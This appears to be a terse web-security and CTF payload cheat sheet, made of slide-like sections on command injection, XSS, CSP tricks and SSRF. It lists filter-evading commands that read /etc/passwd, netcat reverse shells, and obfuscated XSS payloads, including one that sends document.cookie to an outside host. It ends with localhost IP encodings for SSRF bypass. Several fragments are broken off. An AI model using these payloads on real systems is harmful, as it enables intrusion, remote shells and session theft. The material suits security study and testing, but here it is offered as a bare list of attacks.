MagicBlueCH

for i in range(0,666666):
    print '{0:0>6}'.format(i)

MagicBlueCH

• /???/c?t /???/pa??wd  

• /???/n??t -e /???/b??h 127.0.0.1 2333

• /b$6in/nc$6at -e /bi$6n/ba$6sh 127.0.0.1 2333

• /b"in/n"c\at -e /b'in/ba's\h 127.0.0.1 2333

• IFS=,;cat<<<cat,/etc/passwd

• cat$IFS/etc/passwd

• cat${IFS}/etc/passwd

• cat</etc/passwd

• {cat,/etc/passwd} OR {ls,-las,/var} with args

MagicBlueCH

• location.href = /javascript:%27\x3c\x73\x76\x67\x2f\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e%27/.source;
• window.location = decodeURIComponent`%00Jav%09asc%09ript:https://domain.com/%250Aconfirm%25281%2529)`
• fetch(/\blue.exeye.io/+document.cookie)

MagicBlueCH

CSP Fun Tricks

JQuery Gadget

header("Content-Security-Policy: script-src 'self' 'unsafe-inline';");
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-secret' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none';");

<script nonce=secret>
      .html,

MagicBlueCH

Browser tricks - IE

XSS In CSS(IE11+Behaviors)

.htc

htc.html

<meta http-equiv="X-UA-Compatible" content="IE=9">

MagicBlueCH

SSRF-localhost

• 0
• 127.00.1
• 127.0.01
• 0.00.0
• 0.0.00
• 127.1.0.1
• 127.10.1
• 127.1.01
• 0177.1